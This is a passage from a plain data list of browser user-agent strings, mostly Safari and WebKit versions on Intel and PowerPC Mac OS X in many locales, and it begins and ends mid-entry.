Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; nb-no) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; ru-ru) AppleWebKit/533.2+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ca-es) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; de-de) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; el-gr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-au) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.21.11 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/533.4+ (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit/534.1+ (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; es-es) AppleWebKit/531.22.7 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; HTC-P715a; en-ca) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; it-it) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ja-jp) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ko-kr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; ru-ru) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; zh-cn) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; th-th) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; ar) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-gb) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; es-es) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-ch) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; it-it) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; ko-kr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; sv-se) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit/534.16+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/533.4 (KHTML, like Gecko) Version/4.1 Safari/533.4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-de) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/521.32.1 (KHTML, like Gecko) Safari/521.32.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/522+ (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.2+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.5+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit/523.9+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en) AppleWebKit (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/419.2.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-us) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; es-es) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr-fr) AppleWebKit/525.1+ (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-IT) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ko-kr) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; ru-ru) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; zh-tw) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS; en-en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS; pl-pl) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; da-dk) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.3+ (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; es-es) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; hu-hu) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; pl-pl) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 iPhone Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 Safari/525.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.0.4 Safari/523.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1 Safari/525.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fi-fi) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; nl-nl) AppleWebKit/530.0+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9.2009 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_6_1; en_GB, en_US) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ca-es) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; da-dk) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-CH) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/85 (KHTML, like Gecko) Safari/85 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/100 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.5.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/523.3+ (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-au) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-ca) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en_CA) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-gb) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; 